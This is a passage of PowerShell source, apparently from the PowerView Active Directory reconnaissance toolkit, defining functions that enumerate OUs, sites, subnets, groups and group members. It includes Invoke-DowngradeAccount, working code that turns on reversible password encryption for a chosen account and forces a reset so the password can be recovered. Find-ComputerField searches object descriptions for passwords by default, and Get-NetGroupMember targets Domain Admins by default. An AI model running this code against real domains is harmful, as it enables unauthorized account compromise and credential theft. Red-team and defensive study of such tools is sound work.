4316
4317 [ValidateRange(1,10000)]
4318 [Int]
4319 $PageSize = 200,
4320
4321 [Management.Automation.PSCredential]
4322 $Credential
4323 )
4324
4325 $Arguments = @{
4326 'SID' = $SID
4327 'Name' = $Name
4328 'SamAccountName' = $SamAccountName
4329 'Domain' = $Domain
4330 'DomainController' = $DomainController
4331 'Filter' = $Filter
4332 'PageSize' = $PageSize
4333 'Credential' = $Credential
4334 }
4335 # splat the appropriate arguments to Get-ADObject
4336 $RawObject = Get-ADObject -ReturnRaw @Arguments
4337
4338 try {
4339 # get the modifiable object for this search result
4340 $Entry = $RawObject.GetDirectoryEntry()
4341
4342 if($ClearValue) {
4343 Write-Verbose "Clearing value"
4344 $Entry.$PropertyName.clear()
4345 $Entry.commitchanges()
4346 }
4347
4348 elseif($PropertyXorValue) {
4349 $TypeName = $Entry.$PropertyName[0].GetType().name
4350
4351 # UAC value references- https://support.microsoft.com/en-us/kb/305144
4352 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
4353 $Entry.$PropertyName = $PropertyValue -as $TypeName
4354 $Entry.commitchanges()
4355 }
4356
4357 else {
4358 $Entry.put($PropertyName, $PropertyValue)
4359 $Entry.setinfo()
4360 }
4361 }
4362 catch {
4363 Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_"
4364 }
4365}
4366
4367
4368function Invoke-DowngradeAccount {
4369<#
4370 .SYNOPSIS
4371
4372 Set reversible encryption on a given account and then force the password
4373 to be set on next user login. To repair use "-Repair".
4374
4375 .PARAMETER SamAccountName
4376
4377 The SamAccountName of the domain object you're querying for.
4378
4379 .PARAMETER Name
4380
4381 The Name of the domain object you're querying for.
4382
4383 .PARAMETER Domain
4384
4385 The domain to query for objects, defaults to the current domain.
4386
4387 .PARAMETER DomainController
4388
4389 Domain controller to reflect LDAP queries through.
4390
4391 .PARAMETER Filter
4392
4393 Additional LDAP filter string for the query.
4394
4395 .PARAMETER Repair
4396
4397 Switch. Unset the reversible encryption flag and force password reset flag.
4398
4399 .PARAMETER Credential
4400
4401 A [Management.Automation.PSCredential] object of alternate credentials
4402 for connection to the target domain.
4403
4404 .EXAMPLE
4405
4406 PS> Invoke-DowngradeAccount -SamAccountName jason
4407
4408 Set reversible encryption on the 'jason' account and force the password to be changed.
4409
4410 .EXAMPLE
4411
4412 PS> Invoke-DowngradeAccount -SamAccountName jason -Repair
4413
4414 Unset reversible encryption on the 'jason' account and remove the forced password change.
4415#>
4416
4417 [CmdletBinding()]
4418 Param (
4419 [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
4420 [String]
4421 $SamAccountName,
4422
4423 [Parameter(ParameterSetName = 'Name')]
4424 [String]
4425 $Name,
4426
4427 [String]
4428 $Domain,
4429
4430 [String]
4431 $DomainController,
4432
4433 [String]
4434 $Filter,
4435
4436 [Switch]
4437 $Repair,
4438
4439 [Management.Automation.PSCredential]
4440 $Credential
4441 )
4442
4443 process {
4444 $Arguments = @{
4445 'SamAccountName' = $SamAccountName
4446 'Name' = $Name
4447 'Domain' = $Domain
4448 'DomainController' = $DomainController
4449 'Filter' = $Filter
4450 'Credential' = $Credential
4451 }
4452
4453 # splat the appropriate arguments to Get-ADObject
4454 $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue
4455
4456 if($Repair) {
4457
4458 if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
4459 # if reversible encryption is set, unset it
4460 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
4461 }
4462
4463 # unset the forced password change
4464 Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
4465 }
4466
4467 else {
4468
4469 if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
4470 # if the password is set to never expire, unset
4471 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
4472 }
4473
4474 if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
4475 # if reversible encryption is not set, set it
4476 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
4477 }
4478
4479 # force the password to be changed on next login
4480 Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
4481 }
4482 }
4483}
4484
4485
4486function Get-ComputerProperty {
4487<#
4488 .SYNOPSIS
4489
4490 Returns a list of all computer object properties. If a property
4491 name is specified, it returns all [computer:property] values.
4492
4493 Taken directly from @obscuresec's post:
4494 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
4495
4496 .PARAMETER Properties
4497
4498 Return property names for computers.
4499
4500 .PARAMETER Domain
4501
4502 The domain to query for computer properties, defaults to the current domain.
4503
4504 .PARAMETER DomainController
4505
4506 Domain controller to reflect LDAP queries through.
4507
4508 .PARAMETER PageSize
4509
4510 The PageSize to set for the LDAP searcher object.
4511
4512 .PARAMETER Credential
4513
4514 A [Management.Automation.PSCredential] object of alternate credentials
4515 for connection to the target domain.
4516
4517 .EXAMPLE
4518
4519 PS C:\> Get-ComputerProperty -Domain testing
4520
4521 Returns all user properties for computers in the 'testing' domain.
4522
4523 .EXAMPLE
4524
4525 PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location
4526
4527 Returns all an array of computer/ssn/lastlogin/location combinations
4528 for computers in the current domain.
4529
4530 .LINK
4531
4532 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
4533#>
4534
4535 [CmdletBinding()]
4536 param(
4537 [String[]]
4538 $Properties,
4539
4540 [String]
4541 $Domain,
4542
4543 [String]
4544 $DomainController,
4545
4546 [ValidateRange(1,10000)]
4547 [Int]
4548 $PageSize = 200,
4549
4550 [Management.Automation.PSCredential]
4551 $Credential
4552 )
4553
4554 if($Properties) {
4555 # extract out the set of all properties for each object
4556 $Properties = ,"name" + $Properties | Sort-Object -Unique
4557 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
4558 }
4559 else {
4560 # extract out just the property names
4561 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
4562 }
4563}
4564
4565
4566function Find-ComputerField {
4567<#
4568 .SYNOPSIS
4569
4570 Searches computer object fields for a given word (default *pass*). Default
4571 field being searched is 'description'.
4572
4573 Taken directly from @obscuresec's post:
4574 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
4575
4576 .PARAMETER SearchTerm
4577
4578 Term to search for, default of "pass".
4579
4580 .PARAMETER SearchField
4581
4582 User field to search in, default of "description".
4583
4584 .PARAMETER ADSpath
4585
4586 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
4587 Useful for OU queries.
4588
4589 .PARAMETER Domain
4590
4591 Domain to search computer fields for, defaults to the current domain.
4592
4593 .PARAMETER DomainController
4594
4595 Domain controller to reflect LDAP queries through.
4596
4597 .PARAMETER PageSize
4598
4599 The PageSize to set for the LDAP searcher object.
4600
4601 .PARAMETER Credential
4602
4603 A [Management.Automation.PSCredential] object of alternate credentials
4604 for connection to the target domain.
4605
4606 .EXAMPLE
4607
4608 PS C:\> Find-ComputerField -SearchTerm backup -SearchField info
4609
4610 Find computer accounts with "backup" in the "info" field.
4611#>
4612
4613 [CmdletBinding()]
4614 param(
4615 [Parameter(Position=0,ValueFromPipeline=$True)]
4616 [Alias('Term')]
4617 [String]
4618 $SearchTerm = 'pass',
4619
4620 [Alias('Field')]
4621 [String]
4622 $SearchField = 'description',
4623
4624 [String]
4625 $ADSpath,
4626
4627 [String]
4628 $Domain,
4629
4630 [String]
4631 $DomainController,
4632
4633 [ValidateRange(1,10000)]
4634 [Int]
4635 $PageSize = 200,
4636
4637 [Management.Automation.PSCredential]
4638 $Credential
4639 )
4640
4641 process {
4642 Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
4643 }
4644}
4645
4646
4647function Get-NetOU {
4648<#
4649 .SYNOPSIS
4650
4651 Gets a list of all current OUs in a domain.
4652
4653 .PARAMETER OUName
4654
4655 The OU name to query for, wildcards accepted.
4656
4657 .PARAMETER GUID
4658
4659 Only return OUs with the specified GUID in their gplink property.
4660
4661 .PARAMETER Domain
4662
4663 The domain to query for OUs, defaults to the current domain.
4664
4665 .PARAMETER DomainController
4666
4667 Domain controller to reflect LDAP queries through.
4668
4669 .PARAMETER ADSpath
4670
4671 The LDAP source to search through.
4672
4673 .PARAMETER FullData
4674
4675 Switch. Return full OU objects instead of just object names (the default).
4676
4677 .PARAMETER PageSize
4678
4679 The PageSize to set for the LDAP searcher object.
4680
4681 .PARAMETER Credential
4682
4683 A [Management.Automation.PSCredential] object of alternate credentials
4684 for connection to the target domain.
4685
4686 .EXAMPLE
4687
4688 PS C:\> Get-NetOU
4689
4690 Returns the current OUs in the domain.
4691
4692 .EXAMPLE
4693
4694 PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local
4695
4696 Returns all OUs with "admin" in their name in the testlab.local domain.
4697
4698 .EXAMPLE
4699
4700 PS C:\> Get-NetOU -GUID 123-...
4701
4702 Returns all OUs with linked to the specified group policy object.
4703
4704 .EXAMPLE
4705
4706 PS C:\> "*admin*","*server*" | Get-NetOU
4707
4708 Get the full OU names for the given search terms piped on the pipeline.
4709#>
4710
4711 [CmdletBinding()]
4712 Param (
4713 [Parameter(ValueFromPipeline=$True)]
4714 [String]
4715 $OUName = '*',
4716
4717 [String]
4718 $GUID,
4719
4720 [String]
4721 $Domain,
4722
4723 [String]
4724 $DomainController,
4725
4726 [String]
4727 $ADSpath,
4728
4729 [Switch]
4730 $FullData,
4731
4732 [ValidateRange(1,10000)]
4733 [Int]
4734 $PageSize = 200,
4735
4736 [Management.Automation.PSCredential]
4737 $Credential
4738 )
4739
4740 begin {
4741 $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
4742 }
4743 process {
4744 if ($OUSearcher) {
4745 if ($GUID) {
4746 # if we're filtering for a GUID in .gplink
4747 $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))"
4748 }
4749 else {
4750 $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
4751 }
4752
4753 try {
4754 $Results = $OUSearcher.FindAll()
4755 $Results | Where-Object {$_} | ForEach-Object {
4756 if ($FullData) {
4757 # convert/process the LDAP fields for each result
4758 $OU = Convert-LDAPProperty -Properties $_.Properties
4759 $OU.PSObject.TypeNames.Add('PowerView.OU')
4760 $OU
4761 }
4762 else {
4763 # otherwise just returning the ADS paths of the OUs
4764 $_.properties.adspath
4765 }
4766 }
4767 $Results.dispose()
4768 $OUSearcher.dispose()
4769 }
4770 catch {
4771 Write-Warning $_
4772 }
4773 }
4774 }
4775}
4776
4777
4778function Get-NetSite {
4779<#
4780 .SYNOPSIS
4781
4782 Gets a list of all current sites in a domain.
4783
4784 .PARAMETER SiteName
4785
4786 Site filter string, wildcards accepted.
4787
4788 .PARAMETER Domain
4789
4790 The domain to query for sites, defaults to the current domain.
4791
4792 .PARAMETER DomainController
4793
4794 Domain controller to reflect LDAP queries through.
4795
4796 .PARAMETER ADSpath
4797
4798 The LDAP source to search through.
4799
4800 .PARAMETER GUID
4801
4802 Only return site with the specified GUID in their gplink property.
4803
4804 .PARAMETER FullData
4805
4806 Switch. Return full site objects instead of just object names (the default).
4807
4808 .PARAMETER PageSize
4809
4810 The PageSize to set for the LDAP searcher object.
4811
4812 .PARAMETER Credential
4813
4814 A [Management.Automation.PSCredential] object of alternate credentials
4815 for connection to the target domain.
4816
4817 .EXAMPLE
4818
4819 PS C:\> Get-NetSite -Domain testlab.local -FullData
4820
4821 Returns the full data objects for all sites in testlab.local
4822#>
4823
4824 [CmdletBinding()]
4825 Param (
4826 [Parameter(ValueFromPipeline=$True)]
4827 [String]
4828 $SiteName = "*",
4829
4830 [String]
4831 $Domain,
4832
4833 [String]
4834 $DomainController,
4835
4836 [String]
4837 $ADSpath,
4838
4839 [String]
4840 $GUID,
4841
4842 [Switch]
4843 $FullData,
4844
4845 [ValidateRange(1,10000)]
4846 [Int]
4847 $PageSize = 200,
4848
4849 [Management.Automation.PSCredential]
4850 $Credential
4851 )
4852
4853 begin {
4854 $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
4855 }
4856 process {
4857 if($SiteSearcher) {
4858
4859 if ($GUID) {
4860 # if we're filtering for a GUID in .gplink
4861 $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))"
4862 }
4863 else {
4864 $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"
4865 }
4866
4867 try {
4868 $Results = $SiteSearcher.FindAll()
4869 $Results | Where-Object {$_} | ForEach-Object {
4870 if ($FullData) {
4871 # convert/process the LDAP fields for each result
4872 $Site = Convert-LDAPProperty -Properties $_.Properties
4873 $Site.PSObject.TypeNames.Add('PowerView.Site')
4874 $Site
4875 }
4876 else {
4877 # otherwise just return the site name
4878 $_.properties.name
4879 }
4880 }
4881 $Results.dispose()
4882 $SiteSearcher.dispose()
4883 }
4884 catch {
4885 Write-Verbose $_
4886 }
4887 }
4888 }
4889}
4890
4891
4892function Get-NetSubnet {
4893<#
4894 .SYNOPSIS
4895
4896 Gets a list of all current subnets in a domain.
4897
4898 .PARAMETER SiteName
4899
4900 Only return subnets from the specified SiteName.
4901
4902 .PARAMETER Domain
4903
4904 The domain to query for subnets, defaults to the current domain.
4905
4906 .PARAMETER DomainController
4907
4908 Domain controller to reflect LDAP queries through.
4909
4910 .PARAMETER ADSpath
4911
4912 The LDAP source to search through.
4913
4914 .PARAMETER FullData
4915
4916 Switch. Return full subnet objects instead of just object names (the default).
4917
4918 .PARAMETER PageSize
4919
4920 The PageSize to set for the LDAP searcher object.
4921
4922 .PARAMETER Credential
4923
4924 A [Management.Automation.PSCredential] object of alternate credentials
4925 for connection to the target domain.
4926
4927 .EXAMPLE
4928
4929 PS C:\> Get-NetSubnet
4930
4931 Returns all subnet names in the current domain.
4932
4933 .EXAMPLE
4934
4935 PS C:\> Get-NetSubnet -Domain testlab.local -FullData
4936
4937 Returns the full data objects for all subnets in testlab.local
4938#>
4939
4940 [CmdletBinding()]
4941 Param (
4942 [Parameter(ValueFromPipeline=$True)]
4943 [String]
4944 $SiteName = "*",
4945
4946 [String]
4947 $Domain,
4948
4949 [String]
4950 $ADSpath,
4951
4952 [String]
4953 $DomainController,
4954
4955 [Switch]
4956 $FullData,
4957
4958 [ValidateRange(1,10000)]
4959 [Int]
4960 $PageSize = 200,
4961
4962 [Management.Automation.PSCredential]
4963 $Credential
4964 )
4965
4966 begin {
4967 $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
4968 }
4969
4970 process {
4971 if($SubnetSearcher) {
4972
4973 $SubnetSearcher.filter="(&(objectCategory=subnet))"
4974
4975 try {
4976 $Results = $SubnetSearcher.FindAll()
4977 $Results | Where-Object {$_} | ForEach-Object {
4978 if ($FullData) {
4979 # convert/process the LDAP fields for each result
4980 Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" }
4981 }
4982 else {
4983 # otherwise just return the subnet name and site name
4984 if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) {
4985
4986 $SubnetProperties = @{
4987 'Subnet' = $_.properties.name[0]
4988 }
4989 try {
4990 $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0]
4991 }
4992 catch {
4993 $SubnetProperties['Site'] = 'Error'
4994 }
4995
4996 New-Object -TypeName PSObject -Property $SubnetProperties
4997 }
4998 }
4999 }
5000 $Results.dispose()
5001 $SubnetSearcher.dispose()
5002 }
5003 catch {
5004 Write-Warning $_
5005 }
5006 }
5007 }
5008}
5009
5010
5011function Get-DomainSID {
5012<#
5013 .SYNOPSIS
5014
5015 Gets the SID for the domain.
5016
5017 .PARAMETER Domain
5018
5019 The domain to query, defaults to the current domain.
5020
5021 .PARAMETER DomainController
5022
5023 Domain controller to reflect LDAP queries through.
5024
5025 .EXAMPLE
5026
5027 C:\> Get-DomainSID -Domain TEST
5028
5029 Returns SID for the domain 'TEST'
5030#>
5031
5032 param(
5033 [String]
5034 $Domain,
5035
5036 [String]
5037 $DomainController
5038 )
5039
5040 $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid
5041 if($DCSID) {
5042 $DCSID.Substring(0, $DCSID.LastIndexOf('-'))
5043 }
5044 else {
5045 Write-Verbose "Error extracting domain SID for $Domain"
5046 }
5047}
5048
5049
5050function Get-NetGroup {
5051<#
5052 .SYNOPSIS
5053
5054 Gets a list of all current groups in a domain, or all
5055 the groups a given user/group object belongs to.
5056
5057 .PARAMETER GroupName
5058
5059 The group name to query for, wildcards accepted.
5060
5061 .PARAMETER SID
5062
5063 The group SID to query for.
5064
5065 .PARAMETER UserName
5066
5067 The user name (or group name) to query for all effective
5068 groups of.
5069
5070 .PARAMETER Filter
5071
5072 A customized ldap filter string to use, e.g. "(description=*admin*)"
5073
5074 .PARAMETER Domain
5075
5076 The domain to query for groups, defaults to the current domain.
5077
5078 .PARAMETER DomainController
5079
5080 Domain controller to reflect LDAP queries through.
5081
5082 .PARAMETER ADSpath
5083
5084 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
5085 Useful for OU queries.
5086
5087 .PARAMETER AdminCount
5088
5089 Switch. Return group with adminCount=1.
5090
5091 .PARAMETER FullData
5092
5093 Switch. Return full group objects instead of just object names (the default).
5094
5095 .PARAMETER RawSids
5096
5097 Switch. Return raw SIDs when using "Get-NetGroup -UserName X"
5098
5099 .PARAMETER PageSize
5100
5101 The PageSize to set for the LDAP searcher object.
5102
5103 .PARAMETER Credential
5104
5105 A [Management.Automation.PSCredential] object of alternate credentials
5106 for connection to the target domain.
5107
5108 .PARAMETER AllTypes
5109
5110 By default we will retrieve only Security, not Distribution Groups.
5111
5112 .EXAMPLE
5113
5114 PS C:\> Get-NetGroup
5115
5116 Returns the current security groups in the domain.
5117
5118 .EXAMPLE
5119
5120 PS C:\> Get-NetGroup -GroupName *admin*
5121
5122 Returns all groups with "admin" in their group name.
5123
5124 .EXAMPLE
5125
5126 PS C:\> Get-NetGroup -Domain testing -FullData
5127
5128 Returns full group data objects in the 'testing' domain
5129#>
5130
5131 [CmdletBinding()]
5132 param(
5133 [Parameter(ValueFromPipeline=$True)]
5134 [String]
5135 $GroupName = '*',
5136
5137 [String]
5138 $SID,
5139
5140 [String]
5141 $UserName,
5142
5143 [String]
5144 $Filter,
5145
5146 [String]
5147 $Domain,
5148
5149 [String]
5150 $DomainController,
5151
5152 [String]
5153 $ADSpath,
5154
5155 [Switch]
5156 $AdminCount,
5157
5158 [Switch]
5159 $FullData,
5160
5161 [Switch]
5162 $RawSids,
5163
5164 [Switch]
5165 $AllTypes,
5166
5167 [ValidateRange(1,10000)]
5168 [Int]
5169 $PageSize = 200,
5170
5171 [Management.Automation.PSCredential]
5172 $Credential
5173 )
5174
5175 begin {
5176 $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5177 if (!$AllTypes)
5178 {
5179 $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"
5180 }
5181 }
5182
5183 process {
5184 if($GroupSearcher) {
5185
5186 if($AdminCount) {
5187 Write-Verbose "Checking for adminCount=1"
5188 $Filter += "(admincount=1)"
5189 }
5190
5191 if ($UserName) {
5192 # get the raw user object
5193 $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1
5194
5195 if($User) {
5196 # convert the user to a directory entry
5197 $UserDirectoryEntry = $User.GetDirectoryEntry()
5198
5199 # cause the cache to calculate the token groups for the user
5200 $UserDirectoryEntry.RefreshCache("tokenGroups")
5201
5202 $UserDirectoryEntry.TokenGroups | ForEach-Object {
5203 # convert the token group sid
5204 $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
5205
5206 # ignore the built in groups
5207 if($GroupSid -notmatch '^S-1-5-32-.*') {
5208 if($FullData) {
5209 $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
5210 $Group.PSObject.TypeNames.Add('PowerView.Group')
5211 $Group
5212 }
5213 else {
5214 if($RawSids) {
5215 $GroupSid
5216 }
5217 else {
5218 Convert-SidToName -SID $GroupSid
5219 }
5220 }
5221 }
5222 }
5223 }
5224 else {
5225 Write-Warning "UserName '$UserName' failed to resolve."
5226 }
5227 }
5228 else {
5229 if ($SID) {
5230 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
5231 }
5232 else {
5233 $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
5234 }
5235
5236 $Results = $GroupSearcher.FindAll()
5237 $Results | Where-Object {$_} | ForEach-Object {
5238 # if we're returning full data objects
5239 if ($FullData) {
5240 # convert/process the LDAP fields for each result
5241 $Group = Convert-LDAPProperty -Properties $_.Properties
5242 $Group.PSObject.TypeNames.Add('PowerView.Group')
5243 $Group
5244 }
5245 else {
5246 # otherwise we're just returning the group name
5247 $_.properties.samaccountname
5248 }
5249 }
5250 $Results.dispose()
5251 $GroupSearcher.dispose()
5252 }
5253 }
5254 }
5255}
5256
5257
5258function Get-NetGroupMember {
5259<#
5260 .SYNOPSIS
5261
5262 This function users [ADSI] and LDAP to query the current AD context
5263 or trusted domain for users in a specified group. If no GroupName is
5264 specified, it defaults to querying the "Domain Admins" group.
5265 This is a replacement for "net group 'name' /domain"
5266
5267 .PARAMETER GroupName
5268
5269 The group name to query for users.
5270
5271 .PARAMETER SID
5272
5273 The Group SID to query for users. If not given, it defaults to 512 "Domain Admins"
5274
5275 .PARAMETER Filter
5276
5277 A customized ldap filter string to use, e.g. "(description=*admin*)"
5278
5279 .PARAMETER Domain
5280
5281 The domain to query for group users, defaults to the current domain.
5282
5283 .PARAMETER DomainController
5284
5285 Domain controller to reflect LDAP queries through.
5286
5287 .PARAMETER ADSpath
5288
5289 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
5290 Useful for OU queries.
5291
5292 .PARAMETER FullData
5293
5294 Switch. Returns full data objects instead of just group/users.
5295
5296 .PARAMETER Recurse
5297
5298 Switch. If the group member is a group, recursively try to query its members as well.
5299
5300 .PARAMETER UseMatchingRule
5301
5302 Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.
5303 Much faster than manual recursion, but doesn't reveal cross-domain groups.
5304
5305 .PARAMETER PageSize
5306
5307 The PageSize to set for the LDAP searcher object.
5308
5309 .PARAMETER Credential
5310
5311 A [Management.Automation.PSCredential] object of alternate credentials
5312 for connection to the target domain.
5313
5314 .EXAMPLE
5315
5316 PS C:\> Get-NetGroupMember
5317
5318 Returns the usernames that of members of the "Domain Admins" domain group.
5319
5320 .EXAMPLE
5321
5322 PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users"
5323
5324 Returns the usernames that of members of the "Power Users" group in the 'testing' domain.
5325
5326 .LINK
5327
5328 http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
5329#>
5330
5331 [CmdletBinding()]
5332 param(
5333 [Parameter(ValueFromPipeline=$True)]
5334 [String]
5335 $GroupName,
5336
5337 [String]
5338 $SID,
5339
5340 [String]
5341 $Domain,
5342
5343 [String]
5344 $DomainController,
5345
5346 [String]
5347 $ADSpath,
5348
5349 [Switch]
5350 $FullData,
5351
5352 [Switch]
5353 $Recurse,
5354
5355 [Switch]
5356 $UseMatchingRule,
5357
5358 [ValidateRange(1,10000)]
5359 [Int]
5360 $PageSize = 200,
5361
5362 [Management.Automation.PSCredential]
5363 $Credential
5364 )
5365
5366 begin {
5367 if($DomainController) {
5368 $TargetDomainController = $DomainController
5369 }
5370 else {
5371 $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
5372 }
5373
5374 if($Domain) {
5375 $TargetDomain = $Domain
5376 }
5377 else {
5378 $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name
5379 }
5380
5381 # so this isn't repeated if users are passed on the pipeline
5382 $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
5383 }
5384
5385 process {
5386 if ($GroupSearcher) {
5387 if ($Recurse -and $UseMatchingRule) {
5388 # resolve the group to a distinguishedname
5389 if ($GroupName) {
5390 $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
5391 }
5392 elseif ($SID) {
5393 $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
5394 }
5395 else {
5396 # default to domain admins
5397 $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
5398 $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
5399 }
5400 $GroupDN = $Group.distinguishedname
5401 $GroupFoundName = $Group.samaccountname
5402
5403 if ($GroupDN) {
5404 $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
5405 $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
5406
5407 $Members = $GroupSearcher.FindAll()
5408 $GroupFoundName = $GroupName
5409 }
5410 else {
5411 Write-Error "Unable to find Group"
5412 }
5413 }
5414 else {
5415 if ($GroupName) {
5416 $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
5417 }
5418 elseif ($SID) {
5419 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
5420 }
5421 else {
5422 # default to domain admins
5423 $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
5424 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
5425 }
5426
5427 try {
5428 $Result = $GroupSearcher.FindOne()
5429 }
5430 catch {
5431 $Members = @()
5432 }
5433
5434 $GroupFoundName = ''
5435
5436 if ($Result) {
5437 $Members = $Result.properties.item("member")
5438
5439 if($Members.count -eq 0) {
5440
5441 $Finished = $False
5442 $Bottom = 0
5443 $Top = 0
5444
5445 while(!$Finished) {
5446 $Top = $Bottom + 1499
5447 $MemberRange="member;range=$Bottom-$Top"
5448 $Bottom += 1500
5449
5450 $GroupSearcher.PropertiesToLoad.Clear()
5451 [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
5452 [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname")
5453 try {
5454 $Result = $GroupSearcher.FindOne()
5455 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
5456 $Members += $Result.Properties.item($RangedProperty)
5457 $GroupFoundName = $Result.properties.item("samaccountname")[0]
5458
5459 if ($Members.count -eq 0) {
5460 $Finished = $True
5461 }
5462 }
5463 catch [System.Management.Automation.MethodInvocationException] {
5464 $Finished = $True
5465 }
5466 }
5467 }
5468 else {
5469 $GroupFoundName = $Result.properties.item("samaccountname")[0]
5470 $Members += $Result.Properties.item($RangedProperty)
5471 }
5472 }
5473 $GroupSearcher.dispose()
5474 }
5475
5476 $Members | Where-Object {$_} | ForEach-Object {
5477 # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion
5478 if ($Recurse -and $UseMatchingRule) {
5479 $Properties = $_.Properties
5480 }
5481 else {
5482 if($TargetDomainController) {
5483 $Result = [adsi]"LDAP://$TargetDomainController/$_"
5484 }
5485 else {
5486 $Result = [adsi]"LDAP://$_"
5487 }
5488 if($Result){
5489 $Properties = $Result.Properties
5490 }
5491 }
5492
5493 if($Properties) {
5494
5495 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
5496
5497 if ($FullData) {
5498 $GroupMember = Convert-LDAPProperty -Properties $Properties
5499 }
5500 else {
5501 $GroupMember = New-Object PSObject
5502 }
5503
5504 $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
5505 $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
5506
5507 if($Properties.objectSid) {
5508 $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
5509 }
5510 else {
5511 $MemberSID = $Null
5512 }
5513
5514 try {
5515 $MemberDN = $Properties.distinguishedname[0]
5516
